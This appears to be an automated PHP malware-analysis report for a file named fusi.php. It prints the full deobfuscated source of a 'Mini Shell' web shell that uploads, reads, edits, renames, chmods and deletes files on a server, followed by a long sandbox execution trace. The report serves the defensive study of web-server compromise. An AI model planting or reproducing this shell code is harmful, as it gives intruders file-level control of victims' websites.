PHP Malware Analysis

fusi.php

md5: 74f59de8a29213d96c30b38b6263f445

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<title>Mini Shell</title>\r\n<style>\r\n\r\n.filE {\r\n    background:black;\r\n    font-size:11px;\r\n    color:lime;\r\n    box-shadow: 0px 0px 5px 0px #6A6969;\r\n}\r\n.hed {\r\n    background:url(\"https://s31.postimg.org/70sl7khff/mini.jpg\");\r\n    width:700px;\r\n    height:100px;\r\n}\r\nbody{\r\n    font-family: \"Typesenses\", cursive;\r\n    background: url(\"https://s32.postimg.org/lnl1359ed/min.jpg\");\r\n    text-shadow:text-shadow:red 2px 0px 12px; color:#990707;\r\n}\r\n \r\n#content tr:hover{\r\n    background-color: #630808;\r\n    color:red;\r\n}\r\n#content .first{\r\n    background-color: black;\r\n}\r\n#content .first:hover{\r\n    background-color:  black;\r\n    color:red;\r\n}\r\ntable{\r\n    background:#1C1B1B;\r\n    border: 1px solid black;\r\n    box-shadow: 0px 0px 5px 0px #6A6969;\r\n}\r\nH1{\r\n    font-family: \"Typesenses\", cursive;\r\n}\r\na{\r\n    color: #BF1010;\r\n    text-decoration: none;\r\n}\r\na:hover{\r\n    color: black;\r\n    color:black;\r\n}\r\ninput,select,textarea{\r\n    background:black;\r\n    color:lime;\r\n    border: 1px #000000 solid;\r\n    -moz-border-radius: 5px;\r\n    -webkit-border-radius:5px;\r\n    border-radius:5px;\r\n    box-shadow: 0px 0px 5px 0px #6A6969;\r\n}\r\n.mens {\r\n    background:#6A6969;\r\n    box-shadow: 0px 0px 5px 0px #6A6969;\r\n    width:700px;\r\n    height:30px;\r\n    color:lime;\r\n    text-decoration: none;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY><center>\r\n<div class=\"hed\"></div>\r\n<div class=\"mens\">\r\n<a href=\"?&amp;x=string\">Encode Decode</a>\r\n</div></center>\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Current Path : ";
if (isset($_GET['x']) && $_GET['x'] == 'string') {
    $EncodeDecode = "ZWNobyAiPGNlbnRlcj4iOw0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyANCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KJHRleHQgPSAkX1BPU1RbJ2NvZGUnXTsNCj8+DQo8c3R5bGU+DQouYSB7DQoJYmFja2dyb3VuZDogYmxhY2s7DQoJY29sb3I6IGxpbWU7DQoJYm94LXNoYWRvdzogMHB4IDBweCA1cHggMHB4ICM2QTY5Njk7DQp9DQouYiB7DQoJYmFja2dyb3VuZDogYmxhY2s7DQoJY29sb3I6IGxpbWU7DQoJYm94LXNoYWRvdzogMHB4IDBweCA1cHggMHB4ICM2QTY5Njk7DQp9DQo8L3N0eWxlPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij48YnI+DQo8dGV4dGFyZWEgY2xhc3M9J2EnIGNvbHM9NjIgcm93cz01IG5hbWU9ImNvZGUiPjwvdGV4dGFyZWE+PGJyPjxicj4NCjxzZWxlY3QgY2xhc3M9J2EnIHNpemU9IjEiIG5hbWU9Im9wZSI+DQo8b3B0aW9uIHZhbHVlPSJ1cmxlbmNvZGUiPnVybDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iYmFzZTY0Ij5CYXNlNjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9InVyIj5jb252ZXJ0X3V1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJnemluZmxhdGVzIj5nemluZmxhdGUgLSBiYXNlNjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9InN0cjIiPnN0cl9yb3QxMyAtIGJhc2U2NDwvb3B0aW9uPg0KPG9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RpPWJhc2U2NF9kZWNvZGUoZ3ppbmZsYXRlKHN0cl9yb3QxMyhjb252ZXJ0X3V1ZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCgkdGV4dCkpKSkpKSk7DQpicmVhaztkZWZhdWx0OmJyZWFrO319DQplY2hvICc8dGV4dGFyZWEgY29scz02MiByb3dzPTUgY2xhc3M9ImIiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+PEJSPjxCUj4nOw0KPz4=";
    @eval(false);
}
if (isset($_GET['path'])) {
    $path = base64_decode($_GET['path']);
} else {
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo '<a href="?path=' . base64_encode("/") . '">/</a>';
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    $linkpath = '';
    for ($i = 0; $i <= $id; $i++) {
        $linkpath .= "{$paths[$i]}";
        if ($i != $id) {
            $linkpath .= "/";
        }
    }
    echo base64_encode($linkpath);
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"green\">File Upload Done.</font><br />";
    } else {
        echo "<font color=\"red\">File Upload Error.</font><br />";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo base64_decode($_GET['filesrc']);
    echo "</tr></td></table><br />";
    echo "<div class='filE'><pre>" . htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))) . "</pre></div>";
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">Change Permission Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Permission Error.</font><br />";
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Change Name Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Name Error.</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">Edit File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Edit File Error.</font><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Delete Dir Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete Dir Error.</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n    <tr class=\"first\">\r\n        <td><center>Name</center></td>\r\n        <td><center>Size</center></td>\r\n        <td><center>Permissions</center></td>\r\n        <td><center>Options</center></td>\r\n    </tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        $dirlink = base64_encode("{$path}/{$dir}");
        echo "<tr>\r\n        <td><a href=\"?path={$dirlink}\">{$dir}</a></td>\r\n        <td><center>--</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&path={$pathen}\">\r\n        <select name=\"opt\">\r\n        <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        $filelink = base64_encode("{$path}/{$file}");
        echo "<tr>\r\n        <td><a href=\"?filesrc={$filelink}&path={$pathen}\">{$file}</a></td>\r\n        <td><center>" . $size . "</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&path={$pathen}\">\r\n        <select name=\"opt\">\r\n        <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        <option value=\"edit\">Edit</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"file\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "</table>\r\n    </div>";
}
echo "\r\n</BODY>\r\n</HTML>";
function perms($file)
{
    $perms = @fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/74f59de8a29213d96c30b38b6263f445_trace-1676261015.8234.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:04:01.721176]
1	0	1	0.000152	393512
1	3	0	0.000474	451584	{main}	1		/var/www/html/uploads/fusi.php	0	0
2	4	0	0.000492	451584	error_reporting	0		/var/www/html/uploads/fusi.php	2	1	0
2	4	1	0.000507	451624
2	4	R			22527
2	5	0	0.000520	451584	set_time_limit	0		/var/www/html/uploads/fusi.php	3	1	0
2	5	1	0.000536	451648
2	5	R			FALSE
2	6	0	0.000549	451616	get_magic_quotes_gpc	0		/var/www/html/uploads/fusi.php	5	0
2	6	1	0.000561	451616
2	6	R			FALSE
2	7	0	0.000576	451616	getcwd	0		/var/www/html/uploads/fusi.php	94	0
2	7	1	0.000589	451664
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/fusi.php	94	$path = '/var/www/html/uploads'
2	8	0	0.000617	451664	base64_encode	0		/var/www/html/uploads/fusi.php	96	1	'/var/www/html/uploads'
2	8	1	0.000630	451760
2	8	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
1		A						/var/www/html/uploads/fusi.php	96	$pathen = 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2	9	0	0.000658	451728	str_replace	0		/var/www/html/uploads/fusi.php	97	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.000673	451824
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/fusi.php	97	$path = '/var/www/html/uploads'
2	10	0	0.000697	451728	explode	0		/var/www/html/uploads/fusi.php	98	2	'/'	'/var/www/html/uploads'
2	10	1	0.000711	452304
2	10	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/fusi.php	98	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/fusi.php	100	$id = 0
1		A						/var/www/html/uploads/fusi.php	102	$a = TRUE
2	11	0	0.000764	452232	base64_encode	0		/var/www/html/uploads/fusi.php	103	1	'/'
2	11	1	0.000777	452304
2	11	R			'Lw=='
1		A						/var/www/html/uploads/fusi.php	100	$id = 1
1		A						/var/www/html/uploads/fusi.php	108	$linkpath = ''
1		A						/var/www/html/uploads/fusi.php	109	$i = 0
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= ''
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'var'
1		A						/var/www/html/uploads/fusi.php	109	$i++
2	12	0	0.000868	452264	base64_encode	0		/var/www/html/uploads/fusi.php	113	1	'/var'
2	12	1	0.000880	452336
2	12	R			'L3Zhcg=='
1		A						/var/www/html/uploads/fusi.php	100	$id = 2
1		A						/var/www/html/uploads/fusi.php	108	$linkpath = ''
1		A						/var/www/html/uploads/fusi.php	109	$i = 0
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= ''
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'var'
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'www'
1		A						/var/www/html/uploads/fusi.php	109	$i++
2	13	0	0.000990	452272	base64_encode	0		/var/www/html/uploads/fusi.php	113	1	'/var/www'
2	13	1	0.001004	452352
2	13	R			'L3Zhci93d3c='
1		A						/var/www/html/uploads/fusi.php	100	$id = 3
1		A						/var/www/html/uploads/fusi.php	108	$linkpath = ''
1		A						/var/www/html/uploads/fusi.php	109	$i = 0
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= ''
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'var'
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'www'
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'html'
1		A						/var/www/html/uploads/fusi.php	109	$i++
2	14	0	0.001132	452272	base64_encode	0		/var/www/html/uploads/fusi.php	113	1	'/var/www/html'
2	14	1	0.001145	452360
2	14	R			'L3Zhci93d3cvaHRtbA=='
1		A						/var/www/html/uploads/fusi.php	100	$id = 4
1		A						/var/www/html/uploads/fusi.php	108	$linkpath = ''
1		A						/var/www/html/uploads/fusi.php	109	$i = 0
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= ''
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'var'
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'www'
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'html'
1		A						/var/www/html/uploads/fusi.php	111	$linkpath .= '/'
1		A						/var/www/html/uploads/fusi.php	109	$i++
1		A						/var/www/html/uploads/fusi.php	110	$linkpath .= 'uploads'
1		A						/var/www/html/uploads/fusi.php	109	$i++
2	15	0	0.001301	452280	base64_encode	0		/var/www/html/uploads/fusi.php	113	1	'/var/www/html/uploads'
2	15	1	0.001314	452376
2	15	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2	16	0	0.001331	452280	scandir	0		/var/www/html/uploads/fusi.php	201	1	'/var/www/html/uploads'
2	16	1	0.001363	452904
2	16	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'fusi.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/fusi.php	201	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'fusi.php', 5 => 'prepend.php']
2	17	0	0.001400	452920	is_dir	0		/var/www/html/uploads/fusi.php	211	1	'/var/www/html/uploads/.'
2	17	1	0.001416	452984
2	17	R			TRUE
2	18	0	0.001430	452952	is_dir	0		/var/www/html/uploads/fusi.php	211	1	'/var/www/html/uploads/..'
2	18	1	0.001444	453000
2	18	R			TRUE
2	19	0	0.001457	452960	is_dir	0		/var/www/html/uploads/fusi.php	211	1	'/var/www/html/uploads/.htaccess'
2	19	1	0.001471	453000
2	19	R			FALSE
2	20	0	0.001485	452960	is_dir	0		/var/www/html/uploads/fusi.php	211	1	'/var/www/html/uploads/data'
2	20	1	0.001498	453000
2	20	R			TRUE
2	21	0	0.001511	452960	base64_encode	0		/var/www/html/uploads/fusi.php	212	1	'/var/www/html/uploads/data'
2	21	1	0.001524	453072
2	21	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
1		A						/var/www/html/uploads/fusi.php	212	$dirlink = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	22	0	0.001553	453040	is_writable	0		/var/www/html/uploads/fusi.php	217	1	'/var/www/html/uploads/data'
2	22	1	0.001569	453080
2	22	R			TRUE
2	23	0	0.001583	453040	perms	1		/var/www/html/uploads/fusi.php	219	1	'/var/www/html/uploads/data'
3	24	0	0.001596	453040	fileperms	0		/var/www/html/uploads/fusi.php	279	1	'/var/www/html/uploads/data'
3	24	1	0.001609	453080
3	24	R			16895
2		A						/var/www/html/uploads/fusi.php	279	$perms = 16895
2		A						/var/www/html/uploads/fusi.php	295	$info = 'd'
2		A						/var/www/html/uploads/fusi.php	308	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	309	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	312	$info .= 'x'
2		A						/var/www/html/uploads/fusi.php	315	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	316	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	319	$info .= 'x'
2		A						/var/www/html/uploads/fusi.php	322	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	323	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	326	$info .= 'x'
2	23	1	0.001727	453080
2	23	R			'drwxrwxrwx'
2	25	0	0.001741	453040	is_writable	0		/var/www/html/uploads/fusi.php	220	1	'/var/www/html/uploads/data'
2	25	1	0.001756	453080
2	25	R			TRUE
2	26	0	0.001770	453040	is_dir	0		/var/www/html/uploads/fusi.php	211	1	'/var/www/html/uploads/fusi.php'
2	26	1	0.001785	453080
2	26	R			FALSE
2	27	0	0.001798	453048	is_dir	0		/var/www/html/uploads/fusi.php	211	1	'/var/www/html/uploads/prepend.php'
2	27	1	0.001813	453096
2	27	R			FALSE
2	28	0	0.001826	453040	is_file	0		/var/www/html/uploads/fusi.php	239	1	'/var/www/html/uploads/.'
2	28	1	0.001840	453064
2	28	R			FALSE
2	29	0	0.001853	453032	is_file	0		/var/www/html/uploads/fusi.php	239	1	'/var/www/html/uploads/..'
2	29	1	0.001866	453080
2	29	R			FALSE
2	30	0	0.001879	453040	is_file	0		/var/www/html/uploads/fusi.php	239	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001898	453080
2	30	R			TRUE
2	31	0	0.001911	453040	filesize	0		/var/www/html/uploads/fusi.php	240	1	'/var/www/html/uploads/.htaccess'
2	31	1	0.001924	453080
2	31	R			64
1		A						/var/www/html/uploads/fusi.php	240	$size = 0.0625
2	32	0	0.001947	452984	round	0		/var/www/html/uploads/fusi.php	241	2	0.0625	3
2	32	1	0.001961	453056
2	32	R			0.063
1		A						/var/www/html/uploads/fusi.php	241	$size = 0.063
1		A						/var/www/html/uploads/fusi.php	245	$size = '0.063 KB'
2	33	0	0.001996	453080	base64_encode	0		/var/www/html/uploads/fusi.php	247	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.002009	453192
2	33	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
1		A						/var/www/html/uploads/fusi.php	247	$filelink = 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	34	0	0.002039	453160	is_writable	0		/var/www/html/uploads/fusi.php	252	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002054	453200
2	34	R			FALSE
2	35	0	0.002068	453160	is_readable	0		/var/www/html/uploads/fusi.php	253	1	'/var/www/html/uploads/.htaccess'
2	35	1	0.002082	453200
2	35	R			TRUE
2	36	0	0.002096	453160	perms	1		/var/www/html/uploads/fusi.php	254	1	'/var/www/html/uploads/.htaccess'
3	37	0	0.002108	453160	fileperms	0		/var/www/html/uploads/fusi.php	279	1	'/var/www/html/uploads/.htaccess'
3	37	1	0.002121	453200
3	37	R			33188
2		A						/var/www/html/uploads/fusi.php	279	$perms = 33188
2		A						/var/www/html/uploads/fusi.php	289	$info = '-'
2		A						/var/www/html/uploads/fusi.php	308	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	309	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	312	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	315	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	316	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	319	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	322	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	323	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	326	$info .= '-'
2	36	1	0.002236	453200
2	36	R			'-rw-r--r--'
2	38	0	0.002250	453160	is_writable	0		/var/www/html/uploads/fusi.php	255	1	'/var/www/html/uploads/.htaccess'
2	38	1	0.002265	453200
2	38	R			FALSE
2	39	0	0.002278	453160	is_readable	0		/var/www/html/uploads/fusi.php	255	1	'/var/www/html/uploads/.htaccess'
2	39	1	0.002293	453200
2	39	R			TRUE
2	40	0	0.002307	453160	is_file	0		/var/www/html/uploads/fusi.php	239	1	'/var/www/html/uploads/data'
2	40	1	0.002321	453200
2	40	R			FALSE
2	41	0	0.002333	453160	is_file	0		/var/www/html/uploads/fusi.php	239	1	'/var/www/html/uploads/fusi.php'
2	41	1	0.002347	453200
2	41	R			TRUE
2	42	0	0.002359	453160	filesize	0		/var/www/html/uploads/fusi.php	240	1	'/var/www/html/uploads/fusi.php'
2	42	1	0.002371	453200
2	42	R			14014
1		A						/var/www/html/uploads/fusi.php	240	$size = 13.685546875
2	43	0	0.002395	453064	round	0		/var/www/html/uploads/fusi.php	241	2	13.685546875	3
2	43	1	0.002408	453136
2	43	R			13.686
1		A						/var/www/html/uploads/fusi.php	241	$size = 13.686
1		A						/var/www/html/uploads/fusi.php	245	$size = '13.686 KB'
2	44	0	0.002453	453160	base64_encode	0		/var/www/html/uploads/fusi.php	247	1	'/var/www/html/uploads/fusi.php'
2	44	1	0.002468	453272
2	44	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2Z1c2kucGhw'
1		A						/var/www/html/uploads/fusi.php	247	$filelink = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2Z1c2kucGhw'
2	45	0	0.002502	453272	is_writable	0		/var/www/html/uploads/fusi.php	252	1	'/var/www/html/uploads/fusi.php'
2	45	1	0.002519	453312
2	45	R			FALSE
2	46	0	0.002533	453272	is_readable	0		/var/www/html/uploads/fusi.php	253	1	'/var/www/html/uploads/fusi.php'
2	46	1	0.002548	453312
2	46	R			TRUE
2	47	0	0.002561	453272	perms	1		/var/www/html/uploads/fusi.php	254	1	'/var/www/html/uploads/fusi.php'
3	48	0	0.002573	453272	fileperms	0		/var/www/html/uploads/fusi.php	279	1	'/var/www/html/uploads/fusi.php'
3	48	1	0.002586	453312
3	48	R			33204
2		A						/var/www/html/uploads/fusi.php	279	$perms = 33204
2		A						/var/www/html/uploads/fusi.php	289	$info = '-'
2		A						/var/www/html/uploads/fusi.php	308	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	309	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	312	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	315	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	316	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	319	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	322	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	323	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	326	$info .= '-'
2	47	1	0.002706	453312
2	47	R			'-rw-rw-r--'
2	49	0	0.002720	453272	is_writable	0		/var/www/html/uploads/fusi.php	255	1	'/var/www/html/uploads/fusi.php'
2	49	1	0.002735	453312
2	49	R			FALSE
2	50	0	0.002748	453272	is_readable	0		/var/www/html/uploads/fusi.php	255	1	'/var/www/html/uploads/fusi.php'
2	50	1	0.002762	453312
2	50	R			TRUE
2	51	0	0.002776	453280	is_file	0		/var/www/html/uploads/fusi.php	239	1	'/var/www/html/uploads/prepend.php'
2	51	1	0.002791	453328
2	51	R			TRUE
2	52	0	0.002804	453288	filesize	0		/var/www/html/uploads/fusi.php	240	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002817	453328
2	52	R			57
1		A						/var/www/html/uploads/fusi.php	240	$size = 0.0556640625
2	53	0	0.002839	453184	round	0		/var/www/html/uploads/fusi.php	241	2	0.0556640625	3
2	53	1	0.002852	453256
2	53	R			0.056
1		A						/var/www/html/uploads/fusi.php	241	$size = 0.056
1		A						/var/www/html/uploads/fusi.php	245	$size = '0.056 KB'
2	54	0	0.002887	453288	base64_encode	0		/var/www/html/uploads/fusi.php	247	1	'/var/www/html/uploads/prepend.php'
2	54	1	0.002900	453400
2	54	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
1		A						/var/www/html/uploads/fusi.php	247	$filelink = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	55	0	0.002930	453288	is_writable	0		/var/www/html/uploads/fusi.php	252	1	'/var/www/html/uploads/prepend.php'
2	55	1	0.002945	453328
2	55	R			FALSE
2	56	0	0.002958	453288	is_readable	0		/var/www/html/uploads/fusi.php	253	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.002973	453328
2	56	R			TRUE
2	57	0	0.002986	453288	perms	1		/var/www/html/uploads/fusi.php	254	1	'/var/www/html/uploads/prepend.php'
3	58	0	0.002999	453288	fileperms	0		/var/www/html/uploads/fusi.php	279	1	'/var/www/html/uploads/prepend.php'
3	58	1	0.003023	453328
3	58	R			33261
2		A						/var/www/html/uploads/fusi.php	279	$perms = 33261
2		A						/var/www/html/uploads/fusi.php	289	$info = '-'
